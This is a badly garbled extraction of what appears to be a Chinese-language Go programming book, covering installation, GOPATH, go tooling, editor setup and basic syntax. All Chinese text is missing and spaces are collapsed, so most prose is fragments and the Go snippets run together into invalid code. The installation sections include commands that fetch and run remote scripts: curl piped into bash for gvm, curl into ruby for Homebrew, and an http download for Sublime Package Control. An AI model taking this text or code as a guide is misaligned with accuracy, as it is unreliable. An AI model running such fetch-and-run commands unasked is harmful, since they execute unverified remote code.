1.1. Go - erguotou · 1.1 Go Go Go GoUnix GoGoWindowsLinuxMacnext Ubuntuapt-getwgetMachomebrew Go...

Preview:

Citation preview

1.Go1.1.Go1.2.GOPATH1.3.Go1.4.Go1.5.

2.Go2.1.Go2.2.Go2.3.2.4.struct2.5.2.6.interface2.7.2.8.

3.Web3.1web3.2Goweb3.3Goweb3.4Gohttp3.5

4.4.14.24.34.44.54.6

5.5.1database/sql5.2MySQL5.3SQLite

5.4PostgreSQL5.5BeegoormORM5.6NOSQL5.7

6.session6.1sessioncookie6.2Gosession6.3session6.4session6.5

7.7.1XML7.2JSON7.37.47.57.67.7

8.Web8.1Socket8.2WebSocket8.3REST8.4RPC8.5

9.9.1CSRF9.29.3XSS9.4SQL9.59.69.7

10.10.110.210.310.4

11.11.111.2GDB11.3Go11.4

12.12.112.212.312.412.5

13.Web13.113.213.3controller13.413.513.6

14.Web14.114.2Session14.314.414.514.6pprof14.7

A

1GOGo

Go

GoGoCincludeGoGoGo

GoGo

Go

links

: Go

1.1 Go

Go

Go

GoUnixGoGoWindowsLinuxMacnextUbuntuapt-getwgetMachomebrew

Go GVM

Go

Go1.5CRuntimeCompilerLinkerGo,,

Go1.5,GoPlan9CAT&TC

MacXcode

UnixgccUbuntu sudoapt-getinstallgcclibc6-dev

WindowsMinGWMinGWgcc

goVERSION.src.tar.gz $HOME

cdgo/src./all.bash

all.bash"ALLTESTSPASSED"

UnixWindows all.batMinGWgcc

MacUnix .bashrc.zshrc

exportGOPATH=$HOME/gopathexportPATH=$PATH:$HOME/go/bin:$GOPATH/bin

bash.bashrcbash.zshrc

windowpathgogopath

go

1.1Go

GoUsageGoPATHGo

go1.8GOPATHUnix$HOME/go,Windows%USERPROFILE%/go

GOPATH

Go

Go/usr/local/go(Windowsc:\Go)

exportGOROOT=$HOME/goexportGOPATH=$HOME/gopathexportPATH=$PATH:$GOROOT/bin:$GOPATH/bin

MacUnix.bashrc.zshrcwindows

32 64

Go

WindowsWin+Rcmd systeminfo“”“x64-basedPC”64“X86-basedPC”32

Mac64GoMacOSX32

LinuxTerminalarch( uname-m)

64

x86_64

32

i386

Mac

32go1.4.2.darwin-386-osx10.8.pkg(32)64go1.8.darwin-amd64.pkggoPATH ~/go/bin, go

goUsagegoPATHgo

Linux

32go1.8.linux-386.tar.gz64go1.8.linux-amd64.tar.gz

Go $GO_INSTALL_DIR

tar.gz tarzxvfgo1.8.linux-amd64.tar.gz-C$GO_INSTALL_DIR

PATH exportPATH=$PATH:$GO_INSTALL_DIR/go/bin

go

1.2Linuxgo

goUsagegoPATHgo

Windows

Golang32windows-386msi64windows-amd64C:\Go\GoPathGobin C:\Go\bin\GOROOTGo C:\Go\

cmd goUsage cd%GOROOT%Go

PathGOROOT

GVM

gvmGorubyrvmgvm

bash<<(curl-s-S-Lhttps://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)

go

gvminstallgo1.8gvmusego1.8

gvmuse gvmusego1.8--default

GOPATHGOROOT

apt-get

UbuntuLinux apt-getGo gitmercurial

sudoapt-getinstallpython-software-propertiessudoadd-apt-repositoryppa:gophers/gosudoapt-getupdatesudoapt-getinstallgolang-stablegit-coremercurial

wget

wgethttps://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gzsudotar-xzfgo1.8.linux-amd64.tar.gz-C/usr/local

:

exportGOROOT=/usr/local/goexportGOBIN=$GOROOT/binexportPATH=$PATH:$GOBINexportGOPATH=$HOME/gopath()

:

sudovim/etc/profile

exportGOROOT=/usr/local/goexportGOBIN=$GOROOT/binexportPATH=$PATH:$GOBINexportGOPATH=$HOME/gopath()

homebrew

homebrewMacGoGo gitmercurial

1.homebrew

/usr/bin/ruby-e"$(curl-fsSLhttps://raw.githubusercontent.co

m/Homebrew/install/master/install)"

2.go

brewupdate&&brewupgradebrewinstallgobrewinstallgitbrewinstallmercurial//

links

: Go: GOPATH

1.2GOPATHGoGOPATHGo1.11.7GoGoGosrcbinpkg

go1.8GOPATHUnix$HOME/go,Windows%USERPROFILE%/go

GOPATH

go$GOPATH

Windows %GOPATH%UnixWindows

GoGOPATH

Unix

exportGOPATH=/home/apple/mygo

.bashrc .zshrc sh

WindowsGOPATH

GOPATH=c:\mygo

GOPATHWindowsLinuxGOPATHgoget

$GOPATH

src.go.c.h.spkg.abin$PATHgopath ${GOPATH//://bin:}/binbin

mygogopath

GOPATHsrc:$GOPATH/src/mymathmymathpackagemainmainpackage

srcsrc$GOPATH/src/github.com/astaxie/beedb"github.com/astaxie/beedb"beedb

mymath

cd$GOPATH/srcmkdirmymath

sqrt.go

//$GOPATH/src/mymath/sqrt.gopackagemymath

funcSqrt(xfloat64)float64{z:=0.0fori:=0;i<1000;i++{z-=(z*z-x)/(2*x)}returnz}

package

1 goinstall

2 goinstallmymath

cd$GOPATH/pkg/${GOOS}_${GOARCH}//mymath.a

.a

mathapp

cd$GOPATH/srcmkdirmathappcdmathappvimmain.go

$GOPATH/src/mathapp/main.go

packagemain

import("mymath""fmt")

funcmain(){fmt.Printf("Hello,world.Sqrt(2)=%v\n",mymath.Sqrt(2))}

packagemainimportmymath,$GOPATH/srcimportGOPATHGo$GOPATH/src

gobuildmathapp

./mathapp

Hello,world.Sqrt(2)=1.414213562373095

goinstall,$GOPATH/bin/mathapp,$GOPATH/binPATH

mathapp

Hello,world.Sqrt(2)=1.414213562373095

go gogetgoget(githubgooglecodebitbucketLaunchpad)

gogetgithub.com/astaxie/beedb

goget-ugoget

githubgitgooglecodehg

$GOPATHsrc|--github.com|-astaxie|-beedbpkg|--|-github.com|--astaxie|beedb.a

gogetclonesrc goinstall

import

import"github.com/astaxie/beedb"

mygo

bin/mathapppkg//darwin_amd64linux_amd64mymath.agithub.com/astaxie/beedb.asrc/mathappmain.gomymath/sqrt.gogithub.com/astaxie/beedb/beedb.goutil.go

binpkgsrc

links

: Go: GO

1.3Go

Go

Go go

1.3Go

gobuild

1.2 mymath gobuild $GOPATH/pkg goinstall

main gobuild $GOPATH/bin goinstallgobuild-o/a.exe

gobuild gobuilda.gogobuildgo

1.2 mathapp gobuild-oastaxie.exepackage(main)(main)

package Go“package”

gobuild“_”“.”go

array_linux.goarray_darwin.goarray_windows.goarray_freebsd.go

gobuildLinuxDarwinWindowsFreebsdLinuxarray_linux.go

-o gobuild-oa/b/c

-i+ goinstall

-a-n-pnCPU-race64-v-work-x -n

-ccflags'arglist'5c,6c,8c-compilernamegccgogc-gccgoflags'arglist'gccgo-gcflags'arglist'5g,6g,8g-installsuffixsuffix -race-installsuffixrace,-n-ldflags'flaglist'5l,6l,8l-tags'taglist'tagtag BuildConstraints

goclean

_obj/objectMakefiles_test/testMakefiles_testmain.gogotestMakefilestest.outtestMakefilesbuild.outtestMakefiles*.[568ao]objectMakefiles

DIR(.exe)gobuildDIR.test(.exe)gotest-cMAINFILE(.exe)gobuildMAINFILE.go*.soSWIG

github

$goclean-i-ncd/Users/astaxie/develop/gopath/src/mathapprm-fmathappmathapp.exemathapp.testmathapp.test.exeappapp.exerm-f/Users/astaxie/develop/gopath/bin/mathapp

-igoinstall-n-rimport-x -n

gofmt

C/C++,K&RANSIgoANSIgogo<>.go gofmt gofmt

gofmtgofmt-wgofmt-w-lsrc

gofmtgofmt gofmt

gofmt

-l-w-r“a[b:len(a)]->a[b:]”-s-ddifffalse-e10-cpuprofilecpufile

goget

BitBucketGitHubGoogleCodeLaunchpad

BitBucket(MercurialGit)GitHub(Git)GoogleCodeProjectHosting(Git,Mercurial,Subversion)Launchpad(Bazaar)

gogetPATH goget gohelpremote

-d-f-u -uimportfork-fixfix-t-u-v

goinstall

(.a) $GOPATH/pkg$GOPATH/bin

gobuild -v

gotest

*_test.go

okarchive/tar0.011sFAILarchive/zip0.022sokcompress/gzip0.033s...

test gohelptestflag

-benchregexpbenchmarks -bench=.

-cover-runregexpregexp -run=ArrayArray-v

gotool

gotoolfixvet

gotoolfix.go1go1,APIgotoolvetdirectory|files,fmt.Printfreturn

gogenerate

Go1.4 gogenerategobuild gogenerate

yacc

gotoolyacc-ogopher.go-pparsergopher.y

-o-ppackage gogenerate xxx.go

//go:generategotoolyacc-ogopher.go-pparsergopher.y

//go:generate

gopher.y gogenerate

$gogenerate$gobuild$gotest

godoc

Go1.2godocgodoc gogetgolang.org/x/tools/cmd/godoc

gochm chm

package builtin godocbuiltinhttp godocnet/httpPrintf godoc-srcfmtPrintf

godoc-http=: godoc-http=:8080127.0.0.1:8080golang.orgcopypkgGOPATHpkg GOPATH

go

goversion gogoenv gogolistpackagegorunGo

gohelp

links

: GOPATH: Go

1.4Gofmt

LiteIDE

LiteIDEGoIDEvisualfc

1.4LiteIDE

LiteIDE

WindowsLinuxMacOSX

GoGoGo

GoGOPATHGOPATH

GOPATHApiGo

Gocode()GoApiF1

F2

Gdbgofmt

Kate

Markdown

CSSHTMLPDF/HTML/PDF

LiteIDE

LiteIDE

http://sourceforge.net/projects/liteide/files

https://github.com/visualfc/liteide

GoLiteIDE

LiteIDE

Windows64Go win64 LiteIDEwin64.env

GOROOT=c:\goGOBIN=GOARCH=amd64GOOS=windowsCGO_ENABLED=1

PATH=%GOBIN%;%GOROOT%\bin;%PATH%

GOROOT=c:\goGoMinGW64 c:\MinGW64\binPATHgogccCGO

Linux64Go linux64 LiteIDElinux64.env

GOROOT=$HOME/goGOBIN=GOARCH=amd64GOOS=linuxCGO_ENABLED=1

PATH=$GOBIN:$GOROOT/bin:$PATH

GOROOT=$HOME/goGo

GOPATH

GoGOPATHGo(LiteIDE Ctrl+,) gohelpgopath

LiteIDEGOPATH GOPATHGOPATH GOPATH

SublimeText

SublimeText3Sublime+GoSublime+gocode

,

1.5sublime

Go

1.6sublime

SublimeText3

Sublime

SublimeSublime SublimeTextsublimetext3

1. PackageControlCtrl+`

SublimeText3

importurllib.request,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read())

SublimeText2

importurllib2,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read());print('PleaserestartSublimeTexttofinishinstallation')

SublimePackageControl

1 .7sublime

1. SublimeGoSublimeSidebarEnhancementsGoBuildSublimeCtrl+Shift+pPackageControll pcip“PackageControl:InstallPackage”

1.8sublime

GoSublimeSidebarEnhancementsGoBuild

2. gocode

goget-ugithub.com/nsf/gocode

gocode$GOBIN

gotests():

sublimegotests,:

```Gogoget-u-vgithub.com/cweill/gotests/...

```

1. Sublimemain.go import import"fmt" fmt.

$PATHgocode $PATH(XP),sublime,sublimetext3convertutf8

2. MacOS$GOROOT,$GOPATH,$GOBIN

sublimecommand+9env$PATH,GOROOT,$GOPATH,$GOBIN

Terminalsublime

ln-s/Applications/Sublime\Text\2.app/Contents/SharedSupport/bin/subl/usr/local/bin/sublime

VisualStudioCode

vscodeElectronweb,: https://github.com/Microsoft/vscode

1VisualStudioCode

https://code.visualstudio.com/VisualStudioCode

2Go

ExtensionsGoGoVisualStudioCode

FileAutosave

vscodeGo.vscode/settings.json

-settings.json:

{"go.buildOnSave":true,"go.lintOnSave":true,

"go.vetOnSave":true,"go.buildFlags":[],"go.lintFlags":[],"go.vetFlags":[],"go.coverOnSave":false,"go.useCodeSnippetsOnFunctionSuggest":false,"go.formatOnSave":true,//goimports"go.formatTool":"goreturns","go.goroot":"",//Goroot"go.gopath":"",//Gopath}

(,Github Golang):

goget-u-vgithub.com/nsf/gocodegoget-u-vgithub.com/rogpeppe/godefgoget-u-vgithub.com/zmb3/gogetdocgoget-u-vgithub.com/golang/lint/golintgoget-u-vgithub.com/lukehoban/go-outlinegoget-u-vsourcegraph.com/sqs/goreturnsgoget-u-vgolang.org/x/tools/cmd/gorenamegoget-u-vgithub.com/tpng/gopkgsgoget-u-vgithub.com/newhook/go-symbolsgoget-u-vgolang.org/x/tools/cmd/gurugoget-u-vgithub.com/cweill/gotests/...

vscode, delveGo

goget-v-ugithub.com/peterh/linergithub.com/derekparker/delve/cmd/dlv

brewinstallgo-delve/delve/delve(mac)

:

goget-v-ugithub.com/peterh/linergithub.com/derekparker/delve/cmd/dlv

:"dlv-cert",""->""->"":

-,launch.json:

{"version":"0.2.0","configurations":[{"name":"main.go","type":"go","request":"launch","mode":"debug","remotePath":"","port":2345,"host":"127.0.0.1","program":"${workspaceRoot}",//"env":{},"args":[],"showLog":true}]}

Atom

AtomGithubElectronweb,

Atom: https://atom.io/

go-plus:

go-plusAtom go

go:

1.autocomplete-gogocode2.gofmtgoftm,goimports,goturns3.builder-go:go-installgo-test,4.gometalinet-linter:goline,vet,gotype5.navigator-godef:godef6.tester-goo:gotest7.gorename:rename

AtomPreferenceinstall,go-plus,(install)

go-plusgo-plusgo:goget

Gogland

GoglandJetBrainsGoIdeaGoGoglandIntelliJJetBrains

: https://www.jetbrains.com/go/

Vim

Vimvi,

vim-govimgo

github.com/fatih/vim-go

vimPathogenVundle pathogenvundle

1.Vundle

mkdir~/.vim/bundlegitclonehttps://github.com/gmarik/Vundle.vim.git~/.vim/bundle/Vundle.vim

.vimrcVundle( Vundle)

setnocompatible"beiMproved,requiredfiletypeoff"required

"settheruntimepathtoincludeVundleandinitializesetrtp+=~/.vim/bundle/Vundle.vimcallvundle#begin()

"letVundlemanageVundle,requiredPlugin'gmarik/Vundle.vim'

"AllofyourPluginsmustbeaddedbeforethefollowinglinecallvundle#end()"requiredfiletypepluginindenton"required

2.Vim-go

~/.vimrcvundle#beginvundle#end

Plugin'fatih/vim-go'

Vim:PluginInstall

3.YCM(YourCompleteMe)~/.vimrc

Plugin'Valloric/YouCompleteMe'

Vim:PluginInstall

1.9VIMGo

vim:

1. vim

cp-r$GOROOT/misc/vim/*~/.vim/

2. ~/.vimrc

filetypepluginindentonsyntaxon

3. Gocode

goget-ugithub.com/nsf/gocode

gocode$GOPATH/bin

4. Gocode

~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"

gocodeset

propose-builtinsGofalse

lib-path:gocode $GOPATH/pkg/$GOOS_$GOARCH$GOROOT/pkg/$GOOS_$GOARCHlib

1. :emain.goGo

VIM,

Emacs

Emacs

1.10EmacsGo

1. Emacs

cp$GOROOT/misc/emacs/*~/.emacs.d/

2. Gocode

goget-ugithub.com/nsf/gocode

gocode $GOBIN

3. Gocode

~cd$GOPATH/src/github.com/nsf/gocode/emacs~cpgo-autocomplete.el~/.emacs.d/~gocodesetpropose-builtinstruepropose-builtinstrue

~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"//

lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"

1. AutoCompletion

AutoComplete

~makeinstallDIR=$HOME/.emacs.d/auto-complete

~/.emacs

;;auto-complete(require'auto-complete-config)(add-to-list'ac-dictionary-directories"~/.emacs.d/auto-complete/ac-dict")(ac-config-default)(local-set-key(kbd"M-/")'semantic-complete-analyze-inline)(local-set-key"."'semantic-complete-self-insert)(local-set-key">"'semantic-complete-self-insert)

: http://www.emacswiki.org/emacs/AutoComplete

2. .emacs

;;golangmode(require'go-mode-load)(require'go-autocomplete);;speedbar;;(speedbar1)(speedbar-add-supported-extension".go")(add-hook'go-mode-hook'(lambda();;gocode(auto-complete-mode1)(setqac-sources'(ac-source-go))

;;Imenu&Speedbar(setqimenu-generic-expression'(("type""^type*\\([^\t\n\r\f]*\\)"1)("func""^func*\\(.*\\){"1)))(imenu-add-to-menubar"Index");;Outlinemode(make-local-variable'outline-regexp)(setqoutline-regexp"//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")(outline-minor-mode1)(local-set-key"\M-a"'outline-previous-visible-heading)(local-set-key"\M-e"'outline-next-visible-heading);;Menubar(require'easymenu)(defconstgo-hooked-menu'("Gotools"["Gorunbuffer"got]["Goreformatbuffer"go-fmt-buffert]["Gocheckbuffer"go-fix-buffert]))(easy-menu-definego-added-menu(current-local-map)"Gotools"go-hooked-menu)

;;Other(setqshow-trailing-whitespacet)));;helperfunction(defungo()"runcurrentbuffer"(interactive)(compile(concat"gorun"(buffer-file-name))))

;;helperfunction(defungo-fmt-buffer()"rungofmtoncurrentbuffer"(interactive)(ifbuffer-read-only(progn(ding)(message"Bufferisreadonly"))(let((p(line-number-at-pos))(filename(buffer-file-name))(old-max-mini-window-heightmax-mini-window-height))(show-all)

(if(get-buffer"*GoReformatErrors*")(progn(delete-windows-on"*GoReformatErrors*")(kill-buffer"*GoReformatErrors*")))(setqmax-mini-window-height1)(if(=0(shell-command-on-region(point-min)(point-max)"gofmt""*GoReformatOutput*"nil"*GoReformatErrors*"t))(progn(erase-buffer)(insert-buffer-substring"*GoReformatOutput*")(goto-char(point-min))(forward-line(1-p)))(with-current-buffer"*GoReformatErrors*"(progn(goto-char(point-min))(while(re-search-forward"<standardinput>"nilt)(replace-matchfilename))(goto-char(point-min))(compilation-mode))))(setqmax-mini-window-heightold-max-mini-window-height)(delete-windows-on"*GoReformatOutput*")(kill-buffer"*GoReformatOutput*"))));;helperfunction(defungo-fix-buffer()"rungofixoncurrentbuffer"(interactive)(show-all)(shell-command-on-region(point-min)(point-max)"gotoolfix-diff"))

3. Gospeedbar;;(speedbar1) M-xspeedbar

Eclipse

EclipseEclipseGo

1.11EclipseGo

1. Eclipse

2. goclipse

http://code.google.com/p/goclipse/wiki/InstallationInstructions

3. gocodego

gocodegithub

https://github.com/nsf/gocode

windowsgit msysgit

cmd

goget-ugithub.com/nsf/gocode

gobuildgocode.exe

4. MinGW

5.

Windows->Reference->Go

(1).Go

1.12Go

(2).GocodeGocodegocode.exe

1.13gocode

(3).GDBGDBMingWgdb.exe

1.14GDB

1.

gohello.go

1.15

console

1.16Go

IntelliJIDEA

Javaideaideago,

1. ideaideawin,mac,linuxGo

2. GoFileSettingPlugins,,Broswerrepo

3. Golang,,downloadandinstallgolangDownloaded,OK

Apply.IDE

4. ,golang

,gosdk,C:\Golinuxmac,

links

: Go:

1.5GoGo $GOPATH$GOPATHGoGoGoGoLiteIDESublimeVSCodeAtomGoglangVIMEmacsEclipseIdeaGo

links

: Go: Go

2GoGoC

breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar

GoGo

links

:: Go

2.1 GoGo

helloworld

Let'sGo!

packagemain

import"fmt"

funcmain(){fmt.Printf("Hello,worldor�����orκαλημρακóσμor��������\n")}

Hello,worldor orκαλημρακóσμor

Go package

package<pkgName> packagemain main main *.a$GOPATH/pkg/$GOOS_$GOARCHMac $GOPATH/pkg/darwin_amd64

Go packagemainmainmain

Hello,world...Printffmt fmt import"fmt"

Pythonpackage)

funcmain {}CC++Java

main0

fmtPrintf <pkgName>.<funcName>Python

<pkgName>package<pkgName>

ASCIIGoUTF-8UTF-8

GopackagePython main.main()(GoUTF-8(UTF-8Go)

links

: Go: Go

2.2GoGoGo

Go

varGoCGo

//“variableName”"type"varvariableNametype

//“ type”varvname1,vname2,vname3type

//“variableName”“ value”“ type”varvariableNametype=value

/* "type",vname1v1vname2v2vname3v3*/varvname1,vname2,vname3type=v1,v2,v3

Go

/*vname1v1vname2v2vname3v3Go*/varvname1,vname2,vname3=v1,v2,v3

/*vname1v1vname2v2vname3v3*/vname1,vname2,vname3:=v1,v2,v3

:=vartype, var

_ 35b34

_,b:=34,35

Go i

packagemain

funcmain(){variint}

Go

constconstantName=value//constPifloat32=3.1415926

constPi=3.1415926consti=10000constMaxThread=10constprefix="astaxie_"

Go(200)float3232bitfloat6464bit

Boolean

Go booltruefalsefalse

//varisActivebool//varenabled,disabled=true,false//functest(){varavailablebool//valid:=false//available=true//}

Go intuintGo rune,int8,int16,int32,int64byte,uint8,uint16,uint32,uint64runeint32 byteuint8

invalidoperation:a+b(mismatchedtypesint8andint32)

varaint8

varbint32

c:=a+b

int32bit,intint32

float32float64 float float64

NoGo complex12864+64 complex64(32+32) RE+IMiREIM i

varccomplex64=5+5i//output:(5+5i)fmt.Printf("Valueis:%v",c)

Go UTF-8 "" string

//varfrenchHellostring//varemptyStringstring=""//functest(){no,yes,maybe:="no","yes","maybe"//japaneseHello:="Konichiwa"//frenchHello="Bonjour"//}

Gocannotassigntos[0]

varsstring="hello"s[0]='c'

s:="hello"c:=[]byte(s)//s[]bytec[0]='c's2:=string(c)//stringfmt.Printf("%s\n",s2)

Go+

s:="hello,"m:="world"a:=s+mfmt.Printf("%s\n",a)

s:="hello"s="c"+s[1:]//fmt.Printf("%s\n",s)

m:=`helloworld`

Raw

helloworld

GoerrorGo packageerrors

err:=errors.New("emitmachodwarf:elfheadercorrupted")iferr!=nil{fmt.Print(err)}

import"fmt"import"os"

consti=100constpi=3.1415constprefix="Go_"

variintvarpifloat32varprefixstring

import("fmt""os")

const(i=100pi=3.1415prefix="Go_")

var(iintpifloat32prefixstring)

iota

Goiotaenum0const1

packagemain

import("fmt")

const(x=iota//x==0y=iota//y==1z=iota//z==2w//w=iotaw==3yz"=iota"

)

constv=iota//constiotav==0

const(h,i,j=iota,iota,iota//h=0,i=0,j=0iota)

const(a=iota//a=0b="B"c=iota//c=2d,e,f=iota,iota,iota//d=3,e=3,f=3g=iota//g=4)

funcmain(){fmt.Println(a,b,c,d,e,f,g,h,i,j,x,y,z,w,v)}

iotaconst0 iotaiota

Go

Go

classpublic private

array slice map

array

array

vararr[n]type

[n]type n type []

vararr[10]int//intarr[0]=42//0arr[1]=13//fmt.Printf("Thefirstelementis%d\n",arr[0])//42fmt.Printf("Thelastelementis%d\n",arr[9])//0

[3]int[4]int slice

:=

a:=[3]int{1,2,3}//3int

b:=[10]int{1,2,3}//10int1230

c:=[...]int{4,5,6}//`...`Go

Go

//4int

doubleArray:=[2][4]int{[4]int{1,2,3,4},[4]int{5,6,7,8}}

//easyArray:=[2][4]int{{1,2,3,4},{5,6,7,8}}

2.2

slice

“”Go slice

slice slicearrayslicearray

//arrayvarfslice[]int

slice

slice:=[]byte{'a','b','c','d'}

sliceslice slicearray[i:j] i j array[j]j-i

//10bytevarar=[10]byte{'a','b','c','d','e','f','g','h','i','j'}

//byteslicevara,b[]byte

//a3a=ar[2:5]//a:ar[2]ar[3]ar[4]

//barsliceb=ar[3:5]//bar[3]ar[4]

slice ... slice

2.3slicearray

slice

slice0 ar[:n]ar[0:n]

slice ar[n:]ar[n:len(ar)]

slicear[:]0 ar[0:len(ar)]

slice

//vararray=[10]byte{'a','b','c','d','e','f','g','h','i','j'}//slicevaraSlice,bSlice[]byte

//aSlice=array[:3]//aSlice=array[0:3]aSlice:a,b,caSlice=array[5:]//aSlice=array[5:10]aSlice:f,g,h,i,j

aSlice=array[:]//aSlice=array[0:10]aSlice

//slicesliceaSlice=array[3:7]//aSlice:d,e,f,glen=4cap=7bSlice=aSlice[1:3]//bSliceaSlice[1],aSlice[2]:e,f

bSlice=aSlice[:3]//bSliceaSlice[0],aSlice[1],aSlice[2]:d,e,fbSlice=aSlice[0:5]//sliceslicecapbSliced,e,f,g,h

bSlice=aSlice[:]//bSliceaSlice:d,e,f,g

slice aSlicebSliceaSlice bSlice

slice

slice

slice

slice

Array_a:=[10]byte{'a','b','c','d','e','f','g','h','i','j'}Slice_a:=Array_a[2:5]

2.4slice

slice

len slice

cap slice

appendslice sliceslice

copy copyslicesrcdst

appendslice sliceslice (cap-len)==0 slice slice

Go1.2slicesliceslicearrayslice

vararray[10]intslice:=array[2:4]

slice8

slice=array[2:4:7]

7-25slice

slicearray[:i:j]0

map

mapPython map[keyType]valueType

mapslice key sliceindexint map intstring==!=

//keyint,makevarnumbersmap[string]int//mapnumbers:=make(map[string]int)numbers["one"]=1//numbers["ten"]=10//numbers["three"]=3

fmt.Println(":" ,numbers["three"])////::3

map key

map

map map index key

map slice

lenmapmapkey

map numbers["one"]=11keyone11mapthread-safego-routinemutexlock

mapkey:val mapkey

deletemap

//rating:=map[string]float32{"C":5,"Go":4.5,"Python":4.5,"C++":2}//mapkeyokfalseoktruecsharpRating,ok:=rating["C#"]ifok{fmt.Println("C#isinthemapanditsratingis",csharpRating)}else{fmt.Println("WehavenoratingassociatedwithC#inthemap")}

delete(rating,"C")//keyC

map map

m:=make(map[string]string)m["Hello"]="Bonjour"m1:=mm1["Hello"]="Salut"//m["hello"]Salut

make new

makemapslicechannel new

new new(T)T *TGo T

new

make(T,args)new(T)make slicemapchannel() T *Tslice array slicenilslicemapchannel make

make

newmake

2.5makenew

“”“”0“”

int0int80int320int640uint0x0rune0//runeint32byte0x0//byteuint8float320//4bytefloat640//8byteboolfalsestring""

links

: ,Go:

2.3Go

Go

if

if

Goif

ifx>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}

Goif

//x,x10ifx:=computedValue();x>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}

//xfmt.Println(x)

ifinteger==3{fmt.Println("Theintegerisequalto3")}elseifinteger<3{fmt.Println("Theintegerislessthan3")}else{fmt.Println("Theintegerisgreaterthan3")}

goto

Gogoto—— goto

funcmyFunc(){i:=0Here://println(i)i++gotoHere//Here}

for

Gofor while

forexpression1;expression2;expression3{//...}

expression1expression2expression3 expression1expression3expression2 expression1 expression3

packagemain

import"fmt"

funcmain(){sum:=0;forindex:=0;index<10;index++{sum+=index}fmt.Println("sumisequalto",sum)}//sumisequalto45

Go , i,j=i+1,j-1

expression1expression3

sum:=1for;sum<1000;{sum+=sum}

; while

sum:=1forsum<1000{sum+=sum}

breakcontinue,break continue break

forindex:=10;index>0;index--{ifindex==5{break// continue}fmt.Println(index)}//break 109876//continue 1098764321

breakcontinue

forrangeslicemap

fork,v:=rangemap{

fmt.Println("map'skey:",k)fmt.Println("map'sval:",v)}

Go“”,“”,,, _

for_,v:=rangemap{fmt.Println("map'sval:",v)}

switch

if-else switch

switchsExpr{caseexpr1:someinstructionscaseexpr2:someotherinstructionscaseexpr3:someotherinstructionsdefault:othercode}

sExprexpr1expr2expr3Go switch switch true

i:=10switchi{case1:fmt.Println("iisequalto1")case2,3,4:fmt.Println("iisequalto2,3or4")case10:fmt.Println("iisequalto10")

default:fmt.Println("AllIknowisthatiisaninteger")}

5 caseGo switchcasebreakcase switch,fallthroughcase

integer:=6switchinteger{case4:fmt.Println("Theintegerwas<=4")fallthroughcase5:fmt.Println("Theintegerwas<=5")fallthroughcase6:fmt.Println("Theintegerwas<=6")fallthroughcase7:fmt.Println("Theintegerwas<=7")fallthroughcase8:fmt.Println("Theintegerwas<=8")fallthroughdefault:fmt.Println("defaultcase")}

Theintegerwas<=6Theintegerwas<=7Theintegerwas<=8defaultcase

Go func

funcfuncName(input1type1,input2type2)(output1type1,output2type2){////returnvalue1,value2}

funcfuncName

,

output1output2

return

Max

packagemain

import"fmt"

//ab.funcmax(a,bint)int{ifa>b{returna}returnb}

funcmain(){x:=3y:=4z:=5

max_xy:=max(x,y)//max(x,y)max_xz:=max(x,z)//max(x,z)

fmt.Printf("max(%d,%d)=%d\n",x,y,max_xy)fmt.Printf("max(%d,%d)=%d\n",x,z,max_xz)fmt.Printf("max(%d,%d)=%d\n",y,z,max(y,z))//

}

max inta,bint,aint,bint)2

GoC

packagemain

import"fmt"

//A+BA*BfuncSumAndProduct(A,Bint)(int,int){returnA+B,A*B}

funcmain(){x:=3y:=4

xPLUSy,xTIMESy:=SumAndProduct(x,y)

fmt.Printf("%d+%d=%d\n",x,y,xPLUSy)fmt.Printf("%d*%d=%d\n",x,y,xTIMESy)}

()

funcSumAndProduct(A,Bint)(addint,Multipliedint){add=A+BMultiplied=A*Breturn}

Go

funcmyfunc(arg...int){}

arg...intGo int argintslice

for_,n:=rangearg{fmt.Printf("Andthenumberis:%d\n",n)}

copycopy

packagemain

import"fmt"

//+1funcadd1(aint)int{a=a+1//areturna//

}

funcmain(){x:=3

fmt.Println("x=",x)//"x=3"

x1:=add1(x)//add1(x)

fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=3"}

add1 add1a=a+1 x

add1 add1xcopy x

x,

add1x x x&x int*int xcopycopy

packagemain

import"fmt"

//+1funcadd1(a*int)int{//*a=*a+1//areturn*a//}

funcmain(){x:=3

fmt.Println("x=",x)//"x=3"

x1:=add1(&x)//add1(&x)x

fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=4"}

x

(8bytes),,copyGochannelslicemap slice

defer

Godeferdeferdefer

funcReadWrite()bool{file.Open("file")//iffailureX{file.Close()returnfalse}

iffailureY{file.Close()returnfalse}

file.Close()returntrue}

Go defer defer

funcReadWrite()bool{file.Open("file")deferfile.Close()iffailureX{returnfalse}iffailureY{

returnfalse}returntrue}

deferdefer 43210

fori:=0;i<5;i++{deferfmt.Printf("%d",i)}

Go type

typetypeNamefunc(input1inputType1,input2inputType2[,...])(result1resultType1[,...])

packagemain

import"fmt"

typetestIntfunc(int)bool//

funcisOdd(integerint)bool{ifinteger%2==0{returnfalse}returntrue}

funcisEven(integerint)bool{ifinteger%2==0{returntrue

}returnfalse}

//

